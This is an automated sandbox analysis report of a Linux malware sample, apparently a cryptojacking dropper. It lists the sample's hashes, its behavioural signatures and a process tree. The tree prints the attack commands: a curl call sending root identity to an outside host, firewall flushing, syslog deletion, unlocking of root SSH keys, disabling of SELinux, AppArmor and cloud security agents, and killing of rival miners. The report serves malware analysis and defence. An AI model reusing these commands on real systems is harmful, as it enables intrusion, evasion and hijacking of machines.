Analysis
-
max time kernel
149s -
max time network
141s -
platform
debian-9_mipsel -
resource
debian9-mipsel-20240226-en -
resource tags
arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem -
submitted
19-04-2024 00:44
Behavioral task
behavioral1
Sample
f92072637a0d5eede9213405cca50f48_JaffaCakes118
Resource
ubuntu1804-amd64-20240226-en
Behavioral task
behavioral2
Sample
f92072637a0d5eede9213405cca50f48_JaffaCakes118
Resource
debian9-armhf-20240226-en
Behavioral task
behavioral3
Sample
f92072637a0d5eede9213405cca50f48_JaffaCakes118
Resource
debian9-mipsbe-20240226-en
Behavioral task
behavioral4
Sample
f92072637a0d5eede9213405cca50f48_JaffaCakes118
Resource
debian9-mipsel-20240226-en
General
-
Target
f92072637a0d5eede9213405cca50f48_JaffaCakes118
-
Size
61KB
-
MD5
f92072637a0d5eede9213405cca50f48
-
SHA1
c326fafaf0b92a501e99286f7ceb4a0313f97eae
-
SHA256
e958305ce1aba8b1314c35d65ce711e9336d55e1b445560adc053c4446a32d60
-
SHA512
4d1ae93e239790a484785df89f662fa2b04accc89d79e6367ad7c84731b9b53badaa9afba4d0281dabcdc5d3a94c25f901b86e4dfaec1706cf63b5e8c4100afb
-
SSDEEP
1536:8F2cc2/ndOQvL0KKBoLdAkKFOmm5air0TIe:8F2ccQGoL2v47ccyIe
Malware Config
Signatures
-
Executes dropped EXE 1 IoCs
ioc pid Process /usr/bin/tntrecht 2370 Process not Found -
Flushes firewall rules 1 IoCs
Flushes/ disables firewall rules inside the Linux kernel.
pid Process 731 iptables -
Writes DNS configuration 1 TTPs 1 IoCs
Writes data to DNS resolver config file.
description ioc Process File opened for modification /etc/resolv.conf f92072637a0d5eede9213405cca50f48_JaffaCakes118 -
Attempts to change immutable files 64 IoCs
Modifies inode attributes on the filesystem to allow changing of immutable files.
pid Process 1674 xargs 2264 Process not Found 826 xargs 963 xargs 979 xargs 1128 xargs 1532 xargs 1644 xargs 1610 xargs 1714 xargs 2037 Process not Found 1960 Process not Found 1966 Process not Found 1040 xargs 1065 xargs 1189 xargs 1300 xargs 1642 xargs 1668 xargs 2049 Process not Found 2053 Process not Found 2280 Process not Found 900 xargs 1321 xargs 914 xargs 1577 xargs 1630 xargs 2001 Process not Found 2114 Process not Found 1394 xargs 1423 xargs 1429 xargs 2115 Process not Found 2267 Process not Found 787 xargs 1142 xargs 1155 xargs 1458 xargs 1622 xargs 1634 xargs 770 systemctl 1658 xargs 1974 Process not Found 2045 Process not Found 1682 xargs 1706 xargs 1055 xargs 1078 xargs 1083 xargs 1211 xargs 1369 xargs 1612 xargs 1710 xargs 948 xargs 1955 Process not Found 1972 Process not Found 1977 Process not Found 2021 Process not Found 2057 Process not Found 2276 Process not Found 812 xargs 1242 xargs 1354 xargs 1470 xargs -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /etc/crontab Process not Found -
Disables AppArmor 52 IoCs
Disables AppArmor security module.
pid Process 2062 Process not Found 2082 Process not Found 759 systemctl 2069 Process not Found 2089 Process not Found 2078 Process not Found 2091 Process not Found 2094 Process not Found 2082 Process not Found 2082 Process not Found 2074 Process not Found 2095 Process not Found 2065 Process not Found 2062 Process not Found 759 systemctl 2067 Process not Found 2062 Process not Found 759 systemctl 2071 Process not Found 2075 Process not Found 2099 Process not Found 2082 Process not Found 2101 Process not Found 2077 Process not Found 2062 Process not Found 2081 Process not Found 2097 Process not Found 2100 Process not Found 2082 Process not Found 780 systemctl 2096 Process not Found 759 systemctl 2072 Process not Found 2076 Process not Found 2079 Process not Found 2098 Process not Found 2082 Process not Found 2080 Process not Found 2062 Process not Found 2085 Process not Found 2090 Process not Found 2093 Process not Found 759 systemctl 779 systemctl 2073 Process not Found 2092 Process not Found 759 systemctl 778 systemctl 2070 Process not Found 2087 Process not Found 2311 Process not Found 2062 Process not Found -
Disables SELinux 10 IoCs
Disables SELinux security module.
pid Process 929 kill 929 kill 929 kill 929 kill 1101 grep 756 setenforce 929 kill 929 kill 1234 grep 1565 grep -
Enumerates running processes
Discovers information about currently running processes on the system
-
Reads CPU attributes 1 TTPs 64 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online sysctl File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps -
Write file to user bin folder 1 TTPs 1 IoCs
description ioc Process File opened for modification /usr/bin/tntrecht Process not Found -
Enumerates kernel/hardware configuration 1 TTPs 51 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found -
Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
description ioc Process File opened for reading /proc/76/stat ps File opened for reading /proc/22/status ps File opened for reading /proc/7/status ps File opened for reading /proc/84/stat ps File opened for reading /proc/16/status ps File opened for reading /proc/22/cmdline pgrep File opened for reading /proc/16/status pkill File opened for reading /proc/21/stat ps File opened for reading /proc/342/cmdline ps File opened for reading /proc/77/cmdline ps File opened for reading /proc/365/status pgrep File opened for reading /proc/73/cmdline pkill File opened for reading /proc/6/status pkill File opened for reading /proc/110/status Process not Found File opened for reading /proc/37/cmdline ps File opened for reading /proc/2/cmdline ps File opened for reading /proc/388/stat ps File opened for reading /proc/364/status pgrep File opened for reading /proc/83/status pgrep File opened for reading /proc/36/cmdline pkill File opened for reading /proc/367/status ps File opened for reading /proc/7/cmdline ps File opened for reading /proc/3/status pkill File opened for reading /proc/36/status pkill File opened for reading /proc/699/cmdline pkill File opened for reading /proc/389/stat ps File opened for reading /proc/755/stat ps File opened for reading /proc/uptime ps File opened for reading /proc/940/status ps File opened for reading /proc/10/stat ps File opened for reading /proc/22/cmdline ps File opened for reading /proc/23/stat ps File opened for reading /proc/8/status ps File opened for reading /proc/161/status ps File opened for reading /proc/20/cmdline pgrep File opened for reading /proc/110/cmdline pkill File opened for reading /proc/71/stat ps File opened for reading /proc/1/status pkill File opened for reading /proc/16/cmdline pkill File opened for reading /proc/10/stat ps File opened for reading /proc/367/cmdline pkill File opened for reading /proc/66/cmdline ps File opened for reading /proc/378/cmdline ps File opened for reading /proc/161/stat ps File opened for reading /proc/3/stat ps File opened for reading /proc/14/status ps File opened for reading /proc/697/cmdline ps File opened for reading /proc/18/stat Process not Found File opened for reading /proc/77/status ps File opened for reading /proc/696/cmdline ps File opened for reading /proc/342/stat ps File opened for reading /proc/1726/cmdline pkill File opened for reading /proc/259/status pkill File opened for reading /proc/78/cmdline Process not Found File opened for reading /proc/694/status ps File opened for reading /proc/14/status ps File opened for reading /proc/670/cmdline pkill File opened for reading /proc/662/cmdline pkill File opened for reading /proc/697/status pkill File opened for reading /proc/152/cmdline pkill File opened for reading /proc/7/status ps File opened for reading /proc/10/status ps File opened for reading /proc/84/status pgrep File opened for reading /proc/1704/cmdline pgrep -
Writes file to tmp directory 7 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/kdevtmpfsi f92072637a0d5eede9213405cca50f48_JaffaCakes118 File opened for modification /tmp/redis2 f92072637a0d5eede9213405cca50f48_JaffaCakes118 File opened for modification /tmp/newsvc.sh f92072637a0d5eede9213405cca50f48_JaffaCakes118 File opened for modification /tmp/svcupdate f92072637a0d5eede9213405cca50f48_JaffaCakes118 File opened for modification /tmp/svcguard f92072637a0d5eede9213405cca50f48_JaffaCakes118 File opened for modification /tmp/svcworkmanager f92072637a0d5eede9213405cca50f48_JaffaCakes118 File opened for modification /tmp/svcupdates f92072637a0d5eede9213405cca50f48_JaffaCakes118
Processes
-
/tmp/f92072637a0d5eede9213405cca50f48_JaffaCakes118/tmp/f92072637a0d5eede9213405cca50f48_JaffaCakes1181⤵
- Writes DNS configuration
- Writes file to tmp directory
PID:698 -
/usr/bin/idid2⤵PID:700
-
-
/usr/bin/curlcurl "http://oracle.zzhreceive.top/b2f628/idcheck/uid=0(root) gid=0(root) groups=0(root)"2⤵PID:705
-
-
/bin/mkdirmkdir /var/tmp/.system -p2⤵PID:723
-
-
/bin/rmrm -rf /var/log/syslog2⤵PID:725
-
-
/usr/bin/chattrchattr -iua /tmp/2⤵PID:726
-
-
/usr/bin/chattrchattr -iua /var/tmp/2⤵PID:728
-
-
/sbin/iptablesiptables -F2⤵
- Flushes firewall rules
PID:731
-
-
/usr/bin/sudosudo sysctl "kernel.nmi_watchdog=0"2⤵PID:734
-
/sbin/sysctlsysctl "kernel.nmi_watchdog=0"3⤵
- Reads CPU attributes
PID:743
-
-
-
/sbin/sysctlsysctl "kernel.nmi_watchdog=0"2⤵PID:744
-
-
/usr/bin/chattrchattr -iae /root/.ssh/2⤵PID:745
-
-
/usr/bin/chattrchattr -iae /root/.ssh/authorized_keys2⤵PID:746
-
-
/bin/rmrm -rf "/tmp/addres*"2⤵PID:747
-
-
/bin/rmrm -rf "/tmp/walle*"2⤵PID:748
-
-
/bin/rmrm -rf /tmp/keys2⤵PID:749
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:750
-
-
/bin/grepgrep -i "[a]liyun"2⤵PID:751
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:754
-
-
/bin/grepgrep -i "[y]unjing"2⤵PID:755
-
-
/usr/sbin/setenforcesetenforce 02⤵
- Disables SELinux
PID:756
-
-
/usr/sbin/serviceservice apparmor stop2⤵PID:759
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:760
-
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:761
-
-
/bin/systemctlsystemctl --quiet is-active multi-user.target3⤵
- Enumerates kernel/hardware configuration
PID:762
-
-
/bin/systemctlsystemctl -p Triggers show dbus.socket3⤵
- Enumerates kernel/hardware configuration
PID:766
-
-
/bin/systemctlsystemctl -p Triggers show ssh.socket3⤵
- Enumerates kernel/hardware configuration
PID:767
-
-
/bin/systemctlsystemctl -p Triggers show syslog.socket3⤵
- Enumerates kernel/hardware configuration
PID:768
-
-
/bin/systemctlsystemctl -p Triggers show systemd-fsckd.socket3⤵
- Enumerates kernel/hardware configuration
PID:769
-
-
/bin/systemctlsystemctl -p Triggers show systemd-initctl.socket3⤵
- Attempts to change immutable files
- Enumerates kernel/hardware configuration
PID:770
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-audit.socket3⤵
- Enumerates kernel/hardware configuration
PID:771
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-dev-log.socket3⤵
- Enumerates kernel/hardware configuration
PID:772
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald.socket3⤵
- Enumerates kernel/hardware configuration
PID:773
-
-
/bin/systemctlsystemctl -p Triggers show systemd-networkd.socket3⤵
- Enumerates kernel/hardware configuration
PID:774
-
-
/bin/systemctlsystemctl -p Triggers show systemd-rfkill.socket3⤵
- Enumerates kernel/hardware configuration
PID:775
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-control.socket3⤵
- Enumerates kernel/hardware configuration
PID:776
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-kernel.socket3⤵
- Enumerates kernel/hardware configuration
PID:777
-
-
-
/usr/local/sbin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor
PID:759
-
-
/usr/local/bin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor
PID:759
-
-
/usr/sbin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor
PID:759
-
-
/usr/bin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor
PID:759
-
-
/sbin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor
PID:759
-
-
/bin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:759
-
-
/bin/systemctlsystemctl disable apparmor2⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:778
-
-
/bin/systemctlsystemctl stop aliyun2⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:779
-
-
/bin/systemctlsystemctl disable aliyun.service2⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:780
-
-
/bin/grepgrep 185.71.65.2382⤵PID:784
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:785
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:786
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:787
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:791
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:790
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:792
-
-
/bin/grepgrep 140.82.52.872⤵PID:789
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:797
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:796
-
-
/bin/grepgrep :4432⤵PID:795
-
-
/bin/grepgrep -v -2⤵PID:798
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:799
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:804
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:803
-
-
/bin/grepgrep -v -2⤵PID:805
-
-
/bin/grepgrep :232⤵PID:802
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:806
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:809
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:810
-
-
/bin/grepgrep -v -2⤵PID:811
-
-
/bin/grepgrep :4432⤵PID:808
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:812
-
-
/bin/grepgrep -v -2⤵PID:819
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:818
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:817
-
-
/bin/grepgrep :1432⤵PID:816
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:820
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:824
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:823
-
-
/bin/grepgrep :22222⤵PID:822
-
-
/bin/grepgrep -v -2⤵PID:825
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:826
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:830
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:831
-
-
/bin/grepgrep -v -2⤵PID:832
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:833
-
-
/bin/grepgrep :33332⤵PID:829
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:837
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:838
-
-
/bin/grepgrep :33892⤵PID:836
-
-
/bin/grepgrep -v -2⤵PID:839
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:840
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:844
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:845
-
-
/bin/grepgrep -v -2⤵PID:846
-
-
/bin/grepgrep :55552⤵PID:843
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:847
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:851
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:852
-
-
/bin/grepgrep :66662⤵PID:850
-
-
/bin/grepgrep -v -2⤵PID:853
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:854
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:858
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:857
-
-
/bin/grepgrep :66652⤵PID:856
-
-
/bin/grepgrep -v -2⤵PID:859
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:860
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:866
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:865
-
-
/bin/grepgrep :66672⤵PID:864
-
-
/bin/grepgrep -v -2⤵PID:867
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:868
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:872
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:871
-
-
/bin/grepgrep :77772⤵PID:870
-
-
/bin/grepgrep -v -2⤵PID:873
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:874
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:879
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:878
-
-
/bin/grepgrep :84442⤵PID:877
-
-
/bin/grepgrep -v -2⤵PID:880
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:881
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:886
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:885
-
-
/bin/grepgrep :33472⤵PID:884
-
-
/bin/grepgrep -v -2⤵PID:887
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:888
-
-
/bin/grepgrep :33332⤵PID:892
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:893
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:894
-
-
/bin/grepgrep -v grep2⤵PID:891
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:890
-
-
/bin/grepgrep -v grep2⤵PID:897
-
-
/bin/grepgrep :55552⤵PID:898
-
-
/bin/psps aux2⤵PID:896
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:899
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:900
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:906
-
-
/bin/grepgrep "kworker -c\\"2⤵PID:905
-
-
/bin/grepgrep -v grep2⤵PID:904
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:907
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:903
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:913
-
-
/bin/grepgrep log_2⤵PID:912
-
-
/bin/grepgrep -v grep2⤵PID:911
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:914
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:910
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:919
-
-
/bin/grepgrep systemten2⤵PID:918
-
-
/bin/grepgrep -v grep2⤵PID:917
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:920
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:916
-
-
/bin/grepgrep netns2⤵PID:925
-
-
/bin/grepgrep -v grep2⤵PID:924
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:926
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:927
-
/usr/local/sbin/killkill -9 103⤵
- Disables SELinux
PID:929
-
-
/usr/local/bin/killkill -9 103⤵
- Disables SELinux
PID:929
-
-
/usr/sbin/killkill -9 103⤵
- Disables SELinux
PID:929
-
-
/usr/bin/killkill -9 103⤵
- Disables SELinux
PID:929
-
-
/sbin/killkill -9 103⤵
- Disables SELinux
PID:929
-
-
/bin/killkill -9 103⤵
- Disables SELinux
PID:929
-
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:923
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:934
-
-
/bin/grepgrep voltuned2⤵PID:933
-
-
/bin/grepgrep -v grep2⤵PID:932
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:935
-
-
/bin/psps aux2⤵PID:931
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:940
-
-
/bin/grepgrep darwin2⤵PID:939
-
-
/bin/grepgrep -v grep2⤵PID:938
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:941
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:937
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:947
-
-
/bin/grepgrep /tmp/dl2⤵PID:946
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:948
-
-
/bin/grepgrep -v grep2⤵PID:945
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:944
-
-
/bin/grepgrep /tmp/ddg2⤵PID:955
-
-
/bin/grepgrep -v grep2⤵PID:954
-
-
/bin/psps aux2⤵PID:953
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:956
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:957
-
-
/bin/grepgrep -v grep2⤵PID:960
-
-
/bin/grepgrep /tmp/pprt2⤵PID:961
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:959
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:962
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:963
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:972
-
-
/bin/grepgrep /tmp/ppol2⤵PID:971
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:973
-
-
/bin/grepgrep -v grep2⤵PID:970
-
-
/bin/psps aux2⤵PID:969
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:978
-
-
/bin/grepgrep "/tmp/65ccE*"2⤵PID:977
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:979
-
-
/bin/grepgrep -v grep2⤵PID:976
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:975
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:984
-
-
/bin/grepgrep "/tmp/jmx*"2⤵PID:983
-
-
/bin/grepgrep -v grep2⤵PID:982
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:985
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:981
-
-
/bin/grepgrep "/tmp/2Ne80*"2⤵PID:991
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:992
-
-
/bin/grepgrep -v grep2⤵PID:990
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:993
-
-
/bin/psps aux2⤵PID:989
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:998
-
-
/bin/grepgrep IOFoqIgyC0zmf2UR2⤵PID:997
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:999
-
-
/bin/grepgrep -v grep2⤵PID:996
-
-
/bin/psps aux2⤵PID:995
-
-
/bin/grepgrep -v grep2⤵PID:1001
-
-
/bin/grepgrep 45.76.122.922⤵PID:1002
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1000
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1003
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1004
-
-
/bin/grepgrep -v grep2⤵PID:1006
-
-
/bin/grepgrep 51.38.191.1782⤵PID:1007
-
-
/bin/psps aux2⤵PID:1005
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1009
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1008
-
-
/bin/grepgrep 51.15.56.1612⤵PID:1013
-
-
/bin/grepgrep -v grep2⤵PID:1012
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1011
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1014
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1015
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1019
-
-
/bin/grepgrep 86s.jpg2⤵PID:1018
-
-
/bin/grepgrep -v grep2⤵PID:1017
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1020
-
-
/bin/psps aux2⤵PID:1016
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1024
-
-
/bin/grepgrep -v grep2⤵PID:1022
-
-
/bin/grepgrep aGTSGJJp2⤵PID:1023
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1021
-
